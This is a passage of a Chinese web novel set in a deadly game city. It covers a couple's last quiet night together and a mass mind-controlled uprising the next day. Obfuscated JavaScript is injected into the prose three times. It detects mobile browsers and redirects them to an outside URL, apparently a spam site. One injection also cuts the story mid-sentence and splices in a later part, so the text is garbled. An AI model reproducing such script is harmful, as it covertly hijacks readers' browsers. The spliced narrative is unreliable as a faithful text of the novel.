当天晚上,知情计划的一部分玩家聚集在忘忧海边,举行了一场临时起意,又带着某种末日狂欢意味的聚餐。 虽然初与序说“没生命危险”,但大部分玩家仍不确定明天的行动能否成功,成功了,或许能活,那就回家。失败了,大概率就是死。既然前途未卜,生死一线,那么在这最后的夜晚,总要不管不顾地狂欢一次。 有人搬来了几箱啤酒和零食,有人架起了烧烤架,火光在雪夜里跳跃,肉香混合着炭火气飘散开来。甚至还有人不知道从哪里弄来了一些烟花,堆在沙滩上,等着夜色再深沉一些时点燃。 欢声笑语顺着冰冷的海风,隐隐约约地飘向D栋的方向。 1703没有落地窗,只有一个不大的露天小阳台。栏杆是黑色的,阳台上放着一张小巧的木质方形矮桌,和两把与矮桌配套的木质椅子。视野很好,正对下不远处那片灯火闪烁,人影幢幢的忘忧海。 初与序刚洗完澡,换上了和冬逢初同款的灰色条纹睡衣。她站在阳台上,手肘撑着栏杆,托着下巴,静静地望着那片热闹。 雪细细地落在漆黑的海面上,岸边的玩家们堆着奇形怪状的雪人,互相丢着雪球,围着篝火翻烤食物,光影在他们年轻或不再年轻的脸上跳动。 她还隐约看见,在人群稍远一点的地方有三个人坐在一块礁石上,似乎在低声交谈。看身影应该是景明垂、白闽和陈秋天。 上次像这样看到忘忧海边的热闹时,还是在屠宰场全灭后庆祝,队友里的五人都还在。 初与序看着那些欢愉的玩家看了很久,直到夜风将阳台上的暖气吹散,带来明显的凉意。她轻轻呼出一口白雾,然后转身打算回温暖的室内。 刚走到客厅,就听见浴室方向传来门被拉开的声音。 她下意识循声看去:“你洗完……” 话说到一半,戛然而止。 ——浴室的门敞开着,水汽氤氲里一道修长的身影走出来。 冬逢初赤着上身,只穿着条纹睡裤,冷白皮肤被热气蒸出薄红。一只手拿着毛巾胡乱搓着湿发。发梢还在滴水,水珠淌过锁骨,顺着精瘦的腰线滚落,滑向轮廓分明的腹肌,最后没入宽松的裤腰。 初与序条件反射地转过身,唰地一下拉上窗帘。 冬逢初也愣了一下,停下擦头发的动作,声音里带着刚出浴的微哑和无辜:“我……我以为你还在阳台,刚才忘记把上衣拿进浴室了,就直接……出来了。” 两人大眼瞪小眼,几秒后初与序冷静了下来。又不是没见过,有啥好惊讶的。 她从沙发上拿起冬逢初的条纹睡衣上衣,走到他面前很自然地递给他,又顺手接过他手里半湿的毛巾,搭在旁边椅背上。 靠近他的时候,鼻尖萦绕的气息更清晰了,是熟悉的,清冽中带着一丝苦意的勿忘我花香,还有热水蒸腾后温热的气息。但似乎比初与序自己身上的要柔和一些,少了几分清冷,也或许是她感觉错了……? “刚才去阳台有没有穿外套?”冬逢初一边套上睡衣一边问。 初与序随口道:“穿了。” 冬逢初已经穿好了上衣,扣子没系全,就这么敞着怀俯身凑过来,贴了贴她的脸颊。 “冰的。”他直起身看着她,“你没穿。” 初与序:“……” 被当场拆穿,她也没辩解,老老实实回答:“就待了不到五分钟,而且客厅里暖气都漫到阳台了,不冷。还有……你把扣子扣好。” 这话倒不是借口,冬逢初大概是怕她冻着,客厅的暖气开得确实很足。她刚才站在阳台,后背对着客厅方向,都能感觉到那股暖烘烘的气流包裹过来。 冬逢初笑着扣上扣子,转身朝着厨房走去。 初与序重新拉开窗帘,让阳台外的夜色和隐约的欢笑声再次流淌进来。 半晌,厨房里传来冬逢初的声音:“阿序,你是想喝拿铁咖啡,还是抹茶,或者是……酒?” 初与序一愣,噔噔噔小跑进厨房。只见料理台上方的柜子门开来,里面放着一排各式各样的饮料和酒——果立方,伏特加,白朗姆,水溶C,葡萄汁,雪碧,琳琅满目。 “调酒。”冬逢初笑着低头看她:“怎么样?” “你早就准备好了?”初与序伸手拿出一瓶果立方,拧开瓶盖凑到鼻尖闻了一下。对她来说,里面的酒味稍微有点浓,混着清甜的桃子香气,并不难闻。 她没有犹豫,踮起脚将那一整排饮料和酒都抱了出来,转身就朝着阳台走去:“走吧。” 冬逢初失笑,从橱柜里拿出几个玻璃杯,跟在她身后。 两人将怀里的东西一样样放在阳台小矮桌上,冬逢初将两个板凳并排放在一起,矮桌挪到正前方,然后挨着初与序坐下。 “怎么调?”初与序问道。 冬逢初拿起一瓶伏特加,又看了看葡萄汁和雪碧,沉吟片刻,另一只手摸出手机:“……我也是第一次,等我搜一搜。” 几分钟后,他放下手机开始动手。将伏特加、葡萄汁和雪碧按比例倒入玻璃杯中。液体在杯中分层,底部是透明的伏特加,中间是雪碧的气泡,上层则是浓郁的紫色,在阳台昏暗的光线下呈现出迷离的色彩。 然后他又拿起果立方和水溶C,混合着倒进另一个玻璃杯中,轻轻晃了晃,淡粉色的酒液荡漾着。 他将这杯粉色的推给初与序:“尝尝,什么味道的?” 初与序端起杯子,仰头喝了一小口。 酒液冰凉,入口先是水溶C的酸和果立方的甜腻,紧接着,一丝丝属于酒液的暖意才从喉咙升起,扩散开来。 她抿了抿嘴唇,一本正经道:“果味混合酒味,酸甜。” 冬逢初忍不住低低地笑了起来,也端起自己那杯喝了一口。初与序看向他:“你的呢?什么味道?” 冬逢初放下杯子,舌尖轻轻舔了一下唇,像是在感受酒味。然后他转过头,直勾勾地看向初与序。 阳台的光线很暗,只有客厅透出的暖光和远处海边零星的灯火,映在他眼底,像落入了稀碎的星星,又像藏着一片深邃的海。 他微微勾起唇角,压低声音,带着若有若无哄骗般的意味:“真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“有。”初与序也从口袋里摸出烟盒和一个打火机。 她自己先点燃一根,咬在唇间,深吸一口,烟头燃起猩红一点。然后她侧过身,将自己燃着的烟蒂稳稳地抵上了冬逢初唇间那支烟头。 冬逢初配合地微微吸气,烟丝被引燃,一缕烟雾从他唇边逸出。 他深吸一口,薄荷的清凉在口腔里弥漫开来。他抬起眼,眉眼在初与序吐出的烟雾中忽然清晰,又忽然朦胧模糊。 他重新放松地靠回椅背上,初与序则站起身再次趴到栏杆上,背对着他望着忘忧海边。 “要不要听我弹吉他?”冬逢初的声音从身后传来。 初与序点了点头,转过身倚着拉杆,正对冬逢初。 冬逢初将只抽了几口的烟暂时放在桌沿,然后从角落拿起一个黑色吉他背包,取出一把木色吉他。这是随歌之前送给他了,能看出来保养得很好,上面没有任何划痕或者磕碰。 他重新坐回扶手椅里,吉他横放在膝上,指腹轻轻压住琴弦,拨动了第一根弦。 低柔的音符流淌出来,在寂静的雪夜和远处的喧嚣里显得格外清晰安宁。仅仅是前奏几个音符,初与序立刻就听出来了,是《time machine》。 334.忘不掉 冬逢初垂下眼,目光落在琴弦上,手指在弦上滑动。温柔的旋律仿佛月光下的溪流,不急不缓地弥漫开来。 “Staring at stars,watching the moon.” (凝视着星星,望着月亮) “Hoping that one day they''ll lead me to you.” (希望他们能帮我找到你) 他的声音比之前自爱海边表白那次低沉了点,也更多了温柔,缠绵地送到初与序耳边。恍惚间,初与序仿佛又被拉回了那个同样有海风,有星光,有他温柔注视的夜晚。 “Why do the stars shine so brigth in the sky?” (为什么星星闪耀之时) “If most of the people are sleeping at night.” (正是人们美梦之期) “Why do we only have one chance at life.” (为什么我们一生只有一次机会来改变) “I wish I could go back in time.” (我真希望回到以前的时光) 初与序倚在栏杆边看着冬逢初,他的手指在琴颈上游走,指节分明,手背上淡青色的血管随着力道微微起伏,腕骨凸出好看的弧度。 “Why do we remember beautiful lies.” (为什么我总记得美丽的谎言) “We end up regretting them most of our lives.” (以至于我们一生都在后悔之中) 砰!咻——啪! 忽然,尖锐亢奋的破空声打破了夜的寂静,紧接着是震耳欲聋的炸响。 两人同时抬起眼,循声望去。 只见忘忧海的上空,一朵金红色的烟花在最高处绽放!光芒达到了极致,仿佛最炽热的火种在夜的心脏爆开,璀璨的光芒向着四面八方伸展,然后碎成千万点流星,与满天飘洒的鹅毛大雪一同沉入下方海面。 接着是第二朵,第三朵……烟花争先恐后地直蹿上天,炸成绚烂至极的图案。 海边的玩家们爆发出狂热的欢呼和尖叫,他们仿佛忘记了寒冷,在积雪的海滩上跳跃,举杯,对着天空呐喊,像一群终于等到了漫长寒冬尽头,迎接第一缕春光的孩子。 在这人声鼎沸,光影交错的背景中,初与序却缓缓转过头。 她的目光越过桌上袅袅升起的烟雾,直直地撞进了冬逢初的眸子里。 烟花的光芒在他浅棕色的眼底明明灭灭,而他温柔沉静的嗓音穿过一切喧嚣,一字不落地传入初与序耳中: “Each time I fall asleep.” (每当我睡着时) “I always see you there in my dreams.” (你总是会出现在我梦里) “It''s like going back in a time machine.” (那感觉就像乘坐时光机回到了过去) 爱过的人,是生命里下过的一场静雪。 无声,纯粹,能覆盖一切黑暗泥泞的过往,留下一个崭新安宁的世界。但当我们试着伸出手拥抱,却安安静静地化开、消散。这么大的世界,不知该去哪找他。 初与序的耳边只剩下轻轻的吉他声,她抬起手将烟送到唇边,浅浅吸了一口。 冬逢初嘴角噙着淡淡的笑,唱出最后几句: “I fall asleep.” (我进入梦乡) “But honestly,I wanna see you in my dreams.” (但说实话,我想在梦里见到你) “I''m trying to wake up again.” (我再一次尝试着醒来) 最后一个音符温柔地消散在空气中,与远处又一朵烟花炸开的声音融合,归于寂静。 桌上,冬逢初那支搁在边缘的香烟已经默默燃烧了一大半,而初与序手里那支快要燃到尽头,火星微弱。 可就在吉他尾音彻底消散后的几秒,桌上那支烟燃烧的速度开始加快。几个呼吸间,猩红的火点就迅速蚕食着剩余的烟丝,竟烧得比初与序手里那支还要短了。 两缕细细的烟雾在他们之间缓缓升腾,交织,然后被夜风吹散,消失在不断绽放的烟花光影中。 冬逢初将吉他轻轻靠在墙边,起身走到初与序身边,肩膀挨着肩膀,一同趴在栏杆上望着远处。 “这首歌的名字叫《time machine》,意思是时光机。”冬逢初忽然说,“就像经历过很多事,再回头看,发现很多人都不在了,会很想坐上那台机器,回到过去,改变未来。” 初与序微微侧过头,看着他被烟花余光勾勒出的柔和侧脸。 “如果真的有时光机,我想回到十四岁那年。”她轻声说,“回到善佑医院的天台上,回到那个总是下雪的冬天。和医院的孩子们一起,偷偷说着医生护士的坏话,计划着逃跑路线。” “那时候虽然没有自由,但至少不会有人轻易地死在我面前。” 冬逢初笑着开口,声音里有一丝惆怅:“如果是我,我应该会选择回到阿序十岁的时候,也就是我十岁的时候。” “如果我在现实里有父母,就让我父母收养你,我们就是青梅竹马。” “如果没有,我就想办法,把你从你养父母手里抢走,那也是青梅竹马。” 初与序忍不住笑出声:“把我抢走?就我们俩?那么小的年纪,抢走了以后干嘛?一起捡垃圾去吗?” “也不是不行。”冬逢初也笑了起来,“捡垃圾也行,只要我们在一起,总能活下去。总比让你一个人待在那个地方好。” 夜风忽然变大,放在矮桌上的吉他谱被风掀起,哗啦啦落了一地。初与序弯腰去捡,发现那是《time machine》的手写谱。右下角写着一串英文:“don''t et cyx”,是冬逢初的字迹。 初与序将谱子重新抚平放好。 忘忧海边的玩家们渐渐三三两两地散去,到了十一点左右,那片曾热闹非凡的沙滩已经空无一人,只剩下满地脚印。 这个时间点,原本是D栋住户们夜生活刚刚开始的时候,但今夜整栋楼早早陷入沉睡。大部分窗户都暗了下去,他们都知道明天将有一场酝酿已久的行动。 初与序最后看了一眼外面寂静的雪夜,拉上了阳台玻璃门和窗帘,又关上了客厅的大灯,回到了卧室。 冬逢初的卧室整洁,书桌靠窗,中间是一张大床,旁边就是衣柜。几乎没有杂物,只有几件没来得及挂好的外套搭在椅背上。 他们之前在《红轿案》成婚时,已经一起睡过一夜,此刻回到卧室,没有迟疑扭捏,直接上床。 冬逢初抬手关掉了大灯,只留下床头柜一盏小夜灯。他靠坐在床头的枕头上,初与序窝进他怀里,寻到一个舒适的位置,就不再动了。 体温透过睡衣互相传递,在这样安静的夜晚甚至能听到彼此胸膛里的心跳。 冬逢初有一搭没一搭地用手指卷着初与序柔软的黑发,垂着眼看着她的侧脸,低声开口:“阿序,等我们回了现实,报同一个大学吧。” 他顿了顿,自嘲般笑了笑:“不过我猜,我高考成绩可能不怎么样。如果你愿意,实在不行,我们就一起去复读。毕业后去苏州,还要在一起。” “等到了合适的年纪,就在现实里真正的结婚。你开花店,就在里面种勿忘我,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237713|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在你隔壁开个咖啡店,卖热可可。如果在安徽,我们可以窝在床上看一整天电影,熬通宵后叫上向枝冥和安楚去吃炒面,放假了就去江苏找景明垂,去北京找意哥和随歌。” 他的声音渐渐慢下来,仿佛梦呓般的温柔:“等到了冬天,我们就在大雪里一直淋到白头。” 初与序安安静静地听着,脸颊贴着他温热的胸膛,轻轻点了点头,在他胸口蹭了蹭:“好。” “以前都是你跟着我,这次你去哪,我就去哪。” 冬逢初听到这句话,心跳漏了一拍,脸上的忧伤一扫而光,俯下身将初与序更紧地拥在怀里,温热的气息拂过她的耳廓:“宝宝,让我亲一会儿……” 他将初与序轻轻压进柔软的床铺里,身体半覆上来,吻落下来,极其细致,绵长,近乎膜拜的珍视。 从她左眼眼尾那颗小痣开始,细密的吻一路向下,滑过脸颊,停留在唇角,再到下颌,最后来到她脖颈右侧的疤痕前。 冬逢初亲吻的动作在这里顿住了。 他垂着眼,浓密的眉毛在眼下轻微颤动,眼神里有疼惜,有痛楚,有无数复杂翻涌的情绪,最终都化成了唇边一个温柔的吻。 “好了。”初与序伸出手轻轻捏住冬逢初的下巴,让他抬起头看向自己。 昏黄的光线里,她的眼神温柔得像化开的春水。 冬逢初看着她,再次低下头,深深地吻她。这个吻不再克制,像是快要绝望的深情和贪恋,仿佛要把这一生所有未尽的、来不及的爱意都在今夜,通过唇齿的交缠交付给她。 过了一会儿,冬逢初退开,将初与序拥入怀中,让她枕在自己臂弯里。 “冬逢初。”初与序开口叫他,“你还记得我们在永冬之城的第一次见面吗?” 冬逢初“嗯”了一声,笑道:“记得,记得很清楚。当时你从列车上走下来,穿着灰色长款大衣,黑色长裤,头发披着,眉眼淡淡的,没什么表情,但在人群中无比鲜艳。” 他顿了顿,像是沉浸在回忆里:“我看到你的时候,心里就在想:她怎么和我长得这么像?她好厉害,她好好看。哈哈……那就一见钟情了。如果我那个时候不敢上前邀请你一起过副本,那我会后悔一辈子,会永远失眠。” 初与序听着,无声地笑了笑。 过了很久,久到冬逢初以为初与序睡着了,才听见她缓缓开口:“要是我一不小心把你弄丢了,你一定要来找我。在冬天之前,我想和你一起过年。” 初与序继续一字一句道:“明天我要亲眼见到你,后天也要,我想每天见到你,见到你站在我面前。” “你要一辈子陪在我身边。” 冬逢初没有立刻回答,只是更紧地抱住了她,仿佛要将她揉进自己的骨血里,才能对抗某种可能会分离的不安。 “好。”他终于开口,“我一直陪你。一直。” “不能……忘了我。”初与序喃喃道。 冬逢初的心猛地一抽,酸涩猝不及防漫过鼻腔。他低下头,将脸埋进她的发间,闻着她身上清冽的勿忘我香气:“不忘,也忘不掉。” 怀里的人似乎终于得到了想要的承诺,彻底放松下来。 “晚安,冬逢初。”她轻声说。 很快,她的呼吸变得均匀,躺在他怀里陷入了沉睡。 冬逢初在黑暗中睁着眼,静静地望着天花板。耳边是初与序安稳的呼吸声,和窗外仿佛永无止境的落雪声。 明天,初与序应该会见到了妄主,而他会和景明垂他们一起,留在永冬之城,为她拖延所有可能干扰的管理员。 那后天呢?他们会像今晚计划的那样,在现实某个地方,窝在同一张床上,看着电影聊着天,然后相拥而眠吗? 他垂下眼,看着初与序的睡颜,用目光描摹着她的眉眼,她的鼻梁,她的嘴唇,将这副模样深深刻进脑海最深处。 明天我希望在,后天我希望在,我希望永远在。 “晚安,阿序。” 335.破釜沉舟 天亮时,永冬之城笼罩在一片灰白色的薄雾里。雪已经持续下了两天,越下越大。玩家们出行不得不撑起伞,踩在厚厚的积雪里。 当初与序撑着伞来到车站附近时,就看见一幅堪称壮观的景象。 车站周围,黑压压的人群将入口和月台挤得水泄不通,人声鼎沸。越过人头望去,从轨道尽这头到那头,密密麻麻挺慢了数不清的列车,几乎看不到头。 一组组玩家匆匆登上一辆列车,车门关闭,后面一辆列车紧跟着进入车站,迎接下一组玩家。 白闽和陈秋天早就站在月台上,在人群中穿梭,冷静地指挥着每一组玩家登上列车。 不远处,赵禾穿着一件黑色连帽卫衣,帽子拉起遮住脸。她个子小小,浑身却散发着生人勿近的气息,站在人群边缘稍远一点的地方。 接着她转过头,看向旁边撑着伞的初与序:“你怎么还在这里?” “不急。”初与序平静地回答,“等这些玩家全部进入副本,违规后,我再走。” 赵禾没再追问,抱着胳膊重新转回去。 初与序再次开口:“上次管理员降临,公开审判屠宰场的时候,你不在场,没看到长大后的你,今天大概能看到了。挺酷的,打架也很厉害,应该是你想成为的类型。” 赵禾抱着胳膊听着,还是没开口。初与序也早就习惯她这种性格:“要是还有机会遇到管理员【赵禾】,我得谢谢她。上次审判,她也暗中帮了我们不少。” 赵禾微微侧过一点头,忽然淡淡道:“回现实里,你有想打的人,可以找我。” 初与序愣了一下,随后露出一个有点无奈的笑意:“行,那就提前谢谢你了。” 赵禾转过身,朝着月台上回北和向枝冥的方向走了过去,很快就在人群里消失不见。 与此同时,正在驶向副本的D019次列车车辆里。 这节车厢坐满了整整一百名玩家,座位挤得满满当当。没有人说话,大部分人都低着头,看着自己的面板,或者盯着窗外飞速倒退的雪原,脸色各异。 蒋川抱着胳膊,独自站在车厢前方J23旁边。她今天一反常态,脸上没有往日玩世不恭的戏谑和吊儿郎当,反而罕见地严肃。 终于有一位玩家按耐不住:“所以……有没有人知道,这到底是怎么回事?” “我们一百个人,被分到同一个副本?这从来没发生过。是执行官分配出错了,还是要出大事了?” 蒋川深吸一口气,松开了抱着胳膊的手。 “都听着。”她出声道,“现在在这辆列车上的各位,都是我们精挑细选出来的玩家。” “我们,找到了回家的方法。” “回家”两个字一出,瞬间在列车里激起了惊涛骇浪。 “回家?!”“是那个家吗?现实?!”“真的假的?!” 激动的声音此起彼伏,一部分人甚至猛地从座位上站起身,难以置信。蒋川脸上却没有丝毫喜悦,只是点了点头:“是真的,可以离开永冬之城,回到现实。并且永冬之城会彻底被毁灭,你们也不会再回到这里。” 欢呼声几乎要掀翻车顶。 “方法很简单,你们只需要进入副本,通关,就能启动回家的通道。”蒋川继续说,“其他的,什么都不要问,也什么都不要管。明白吗?” 她说完,不等任何人再次发问,直接抱着胳膊走到最前排一个空位坐下,摆出一副“别烦我老娘什么都不知道也别来问”的架势。 列车在轨道上轻微地震动了一下,速度明显加快。 有坐在窗边的玩家忍不住贴着玻璃,朝着列车前后方望去。 前方,暴风雪之中,隐约可见另外一辆列车的尾灯,再前方还有更多模糊的列车影子。而后方同样,不止一辆列车紧紧跟随在轨道上。 目光所及,这条通往不同副本的轨道上串联起了一条望不到头的长龙,每一节车厢里都坐着和他们一样,怀揣着“回家”希望,却又对即将发生的一切茫然无知的玩家。 我们不是孤独的。 但我们所要面对的,究竟是什么? “全部发车了,预计十分钟内陆续进入副本。”白闽站在月台边,抬手按住耳机。 耳机那头传来初与序的回应:“收到,你们来礼堂吧。” 站台上最后一辆列车已经拖着悠扬的汽笛声缓缓加速,消失在浓雾和雪幕尽头。月台上只剩下寥寥几位相熟的D栋住户。 白闽看了身边几人一眼,朝着礼堂的方向偏了偏头,随后迈步走向那里。身后几人对视一眼,也纷纷跟上,进入了礼堂。 礼堂中央摆着一张宽大的圆形桌子,桌面上,数张地图被拼接在一起,铺在桌面上。如果仔细去看,会发现这张拼图涵盖了整个永冬之城、所有副本,以及连接城市与副本的列车轨道。 然后在最上方,却有一大片区域被刻意留白,没有任何建筑标识,只有一片雪原。而在雪原上,有两个靠近的位置被红笔圈了出来,旁边没有说明,仿佛圈画者认为看到的人自然会懂。 冬逢初、景明垂、回北、向枝冥、u谷(已经被【u谷】放回来版)等所有留在永冬之城、依然存活的激进派成员都静静地围聚在这张圆桌边。 这是一场跨越了九千多年的冲锋,所有的信任、亢奋、欲望,还有深埋在尘埃下的牺牲与执念,此刻都压缩在这间礼堂里,被从窗缝里钻入的风裹挟,冲上遥远的天际。 每个人都盯着桌面上那张巨大的地图。 地图上,代表着那一万三千名玩家的绿色光电,正以惊人的速度一个接一个跳入那些代表着不同副本的红色区域范围内,“玩家已全部就位,副本入口暂时关闭”的信号也接连在处理区大厦响起。 可以想象,此刻处理区大厦内部,那些坐在控制台前的执行官们全都警惕地盯着屏幕上涌入的庞大数据,生怕玩家惹出什么事,或者副本出现bug。 地图上,绿色光电移动的速度开始放缓,代表不同副本的红色区域一个个被填满。一组组玩家穿过雾气,踏入了副本场景。 废墟、古堡、雨林、深海、太空站……形形色色的副本世界,在同一时间迎来了数量远超常规的访客。 玩家们短暂地茫然四顾后,点开面板查看主线任务,然后本能地开始像以前一样探索,或者寻找临时队友。 某个废墟副本中,蒋川站在自己小队左前方,环视着周围的残垣断壁。她深吸一口气,压下心底的不安,抬手用力一挥: “行动!三人一组,保持距离,探索周围建筑!发现任何异常和线索都要汇报,保持警惕!” 玩家们迅速分散,向着副本场景深处前进。 地图上,最后一个游离的绿色光点也终于落入了一个副本区域。 “他们都进副本了。”圆桌边,一个D栋玩家抬头看向初与序,提醒道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237714|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才初与序自始至终都看着那张巨大地图的最上方,此刻听到提醒,才终于有了动作。她缓缓抬起右手,一枚青铜铃铛出现在她摊开的掌心上,红色的符文在表面流转,散发出幽光。 初与序没有立刻动作,她闭上眼睛。 所有人都能看到,她摊开的右手微微发抖。 几秒后,她重新睁开了眼睛。那双眼眸里,所有的犹豫、温度,属于“人”的柔软,都褪消失得干干净净,只剩下一片淡漠,像冬天结冰的湖面。 她握住铃铛的青铜柄把,手腕轻轻向下一振。 叮—— 某个副本里,一位玩家正蹲在一堵墙后,全神贯注地观察着前方的怪物身影。他握紧手中武器,计划着攻击路径。 叮! 清脆空灵的铃声直接在他颅腔里炸开! 没有经过耳膜,那声音就像是从他大脑深处凭空生成。他浑身猛地一抖,紧接着,庞大的意志如同海啸,以摧枯拉朽之势瞬间席卷了他整个意识! 眼前原本清晰的景象此刻变得模糊,所有思维在刹那间凝固,然后被那股意志粗暴地淹没。他惊恐地发现自己失去了对身体的控制权。 那诡异的铃声以无法用科学解释的方式,响彻在每一个副本上空,响彻在一万三千位玩家的灵魂深处。 然后,那位玩家看见自己不受控制地站了起来,同一个副本内,所有分散各地的玩家身体也都齐刷刷一颤,动作僵住,下一秒,他们也站了起来。 原先的玩家伸出了右手,从面板里取出一个他之前存放的爆炸道具。 “……什,什么……?!”他惊恐地发出声音,试图夺回控制权,但他的身体完全无视了他本人的意志。 他的双腿迈开,大步流星地朝着不远处的钟楼走去。 “喂!你干什么?!停下!”旁边不远处,另一个同样失去身体控制权的玩家目眦欲裂地看着他,想冲过去阻拦,但双脚像被焊在了地上。他也只能眼睁睁看着自己的手从面板里取出了一桶汽油和打火机。 刚才的玩家已经走到了钟楼边,他抬起手臂,将爆炸道具稳稳按在了钟楼墙壁上。 “启动。”他听见自己的声音说道。 嗡—— 刺目的光芒从爆炸道具上猛地爆发出来! 轰隆——!! 紧接着,地动山摇。难以想象的冲击波以钟楼为中心,疯狂地向四面八方扩散。尘土和碎石被抛飞,向外席卷!站在周围动弹不得的玩家们被狂暴的气流狠狠掀飞出去,重重摔在地面上! 剧痛从身体各处传来,但他们仍然无法控制身体做出动作,只能躺在废墟里,视野里全是漫天飞舞的碎石,耳朵里灌满了爆炸的轰鸣,还能听到其他玩家发出的尖叫。 类似的景象在每一个副本里上演。 玩家们如同提线木偶,在保有清醒意识的情况下,疯狂地破坏着副本,无法停下。 “怎么回事?!” “我控制不了自己了!身体自己动了!” “不能!不能攻击那个NPC!那是关键人物NPC!” “谁?!到底是谁在搞鬼?!滚出来!” 恐惧、愤怒、绝望,在各个副本里此起彼伏。 每个副本里,那些作为领队的玩家并没有受到血誓铃控制,他们站在原地,或靠在掩体后,心里充满了负罪感和决然,脸色苍白地看着这一场景。 336.玉石俱焚 蒋川站在自己所在废墟副本的高处,浓雾因为下方大规模的能量爆发而剧烈翻滚。 远处传来了深沉愤怒的咆哮,大地开始震动。浓雾深处,那些游荡的怪物们感受到了玩家的暴动,纷纷发出嘶吼,朝着各处违规行为的源头蜂拥而去! 蒋川盯着下方混乱的战场,忽然眼睛一眯。 在距离她不远处,一个看起来是防御系的玩家脸上虽然也带着惊恐,但他的身体并没有像其他人一样不受控制。他正撑起一面护盾,看着那些如同疯魔般攻击着副本的队友们,还在试图理解发生了什么。 这是个漏网之鱼,他的血应该并没有滴在血誓铃上。 蒋川想起来之前在礼堂时初与序说的话,她刚想从面板里取出斧头,想了想还是放下,抄起脚边一根棍子,压低身体朝那个玩家摸了过去。 玩家大部分注意力都被周围吸引,等察觉到身后有异常时,已经晚了。 蒋川举起钢管,精准狠地砸在了他的后颈上。那玩家闷哼一声,眼前一黑,软软倒下去。 此时此刻,永冬之城处理区中央监控大厅。 巨大的屏幕上分成无数小格,显示着不同副本的界面,此刻正被疯狂刷新红色的警报。 【警告!警告!检测到大规模、高协同性、目标明确的副本规则破坏攻击!】 【涉及副本数量:132】 【涉及玩家数量:约13000】 【破坏行为:针对性攻击副本核心架构、关键NPC、任务节点、环境稳定装置!】 【行为模式:高度统一,疑似受外部未知强制力操控!】 【威胁等级:湮灭级!重复,湮灭级!请立即处置!】 控制台前,所有值班的执行官看到屏幕上滚动的文字,全都懵了。他们大眼瞪小眼,一时不知道该如何反应——这种大规模的玩家集体违规在永冬之城的历史上闻所未闻! “什、什么鬼?!”一个年轻点的执行官结结巴巴指着屏幕,“这群玩家……怎么跟集体中了邪一样?!” “他们疯了吗?刚进副本就突然自毁式攻击场景和NPC?!” “我靠!这不对劲!快去拿大蒜!黑驴蹄子!快!快做法事驱邪啊!”有人慌不择言地喊道。 “做什么法事?!”C13站起身,“这种时候按照规定,不是应该立刻向他们发出最高级别警告吗?!” 那个提到大蒜的执行官一个激烈,忙冲到旁边一个连接着所有副本内部广播的话筒前,联通频道,清了清嗓子,对着话筒喝道: “警告!所有身处副本的玩家!立刻停止一切破坏行为!重复,立刻停住!违者将被强制拘捕,送入处罚区最高管控级别监牢!” 然而根本没用,屏幕上,那些玩家像聋了一样,依然在进行破坏,对回荡在副本上空的警告置若罔闻。 有执行官急得满头大汗:“怎么办?他们根本不停!我们到底要不要进去?我觉得这绝对是个阴谋!他们就是想用这种方式把我们执行官都引出永冬之城!” “可是如果不管,这些副本真的崩溃了怎么办?”另一人反驳道,“这可是湮灭级威胁,可能会产生连锁反应。” 就在执行官争论不休、犹豫不决时—— 屏幕上,其中一个副本的画面突然放大。只见一个被操控的玩家跃上一个集装箱高处,掏出一个功率巨大的扩音喇叭,对着雾气翻滚的天空嘶声大喊: “执行官们!听着——!!!” 他的声音竟真的传递到了监控大厅,所有执行官被他喊得心脏一跳。 “我们要所有进入副本的玩家,心脏里全都被植入了反监控和自毁芯片!永冬之城里也有我们的人!也装了芯片!” “我们要——策反!!!推翻这个该死的城市!!” “五分钟后,所有芯片将集体激活!” “要么——你们亲自进来,跟我们面对面谈!” “要么——就等着看永冬之城崩塌!!!” 这番话直接触犯了永冬之城铁律中的最高禁令——公开煽动叛乱,威胁城市安全。 监控大厅里,所有执行官的脸色骤然变化! 有人惊呼,有人疯狂呼叫其他执行官,询问谁有办法,更多的人则是被屏幕上更疯狂的破坏惊得一时失语。 “副本稳定性数据在断崖式下跌!多个副本结构已经出现不可逆损伤!”有执行官扑到控制台前。 就在这时,大门被砰地一声推开。 众人循声望去,D19大步流星冲了进来,脸色是前所未有的严峻和焦急。他对着满厅呆若木鸡的执行官命令: “还愣着干什么?!都聋了吗?!立刻向所有待命执行官下达指令!” “所有可调动人员,立刻进入相关副本!镇压玩家违规行为,控制局势!不惜一切代价,稳定副本核心结构,防止连锁崩溃!拘捕所有涉事玩家,尤其是煽动者!” “立刻!马上!行动!!” 那些执行官被他这么一吼,终于回过神来。 “是!长官!” 他们纷纷从座位上跳起来,抓起随身装备冲出大厅。短短几十秒内,原本拥挤的大厅变得空荡荡的,只剩下D19和C13。 急促的警报红光仍然在天花板上闪烁,映着两人没什么表情的脸。C13看了看空无一人的大厅门口,又看了看屏幕上混乱的画面,抬手对着D19竖起大拇指。 他用口型无声说:“演技不错啊,长官。” D19斜了他一眼,脸上急速的表情恢复了平日的温和,甚至还带着一丝散漫。 